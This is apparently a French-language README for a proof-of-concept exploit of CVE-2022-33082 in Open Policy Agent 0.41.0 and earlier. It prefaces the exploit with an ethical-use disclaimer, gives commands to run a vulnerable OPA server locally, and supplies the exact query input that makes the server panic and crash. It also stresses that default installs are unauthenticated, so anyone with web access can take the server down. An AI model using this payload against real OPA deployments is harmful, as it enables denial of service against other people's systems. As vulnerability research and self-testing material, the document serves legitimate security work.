Exploit CVE 2022-33082
AVERTISSEMENT
Ce code est fourni à des fins ÉTHIQUES - comprendre la vulnérabilité et tester ses propres systèmes ou des systèmes AUTORISÉS. En l'utilisant, vous acceptez d'agir de manière éthique et je décline toute responsabilité si vous n'agissez pas de manière éthique.
Cet exploit fonctionne sur les versions 0.41.0 et inférieures d'Open Policy Agent (OPA). Installez une instance OPA sur Linux pour tester avec cette commande :
curl -L -o opa https://openpolicyagent.org/downloads/v0.41.0/opa_linux_amd64_static
chmod +x opa
./opa run --server
Ensuite, accédez à localhost:8181 dans votre navigateur web. Saisissez ce qui suit dans les champs respectifs
champ de requête (code Go) :
p := [input() | input := 1]
{ "input":"put this in the input (json) field!" }
Le site web plantera alors et le terminal exécutant le serveur signalera une panique du noyau
Implications
Toute personne ayant un accès web à un serveur OPA version 0.41.0 ou inférieure peut faire planter complètement le serveur. Ce serveur n'est pas protégé par mot de passe par défaut.
cyberqueenmeg/cve-2022-33082-exploit
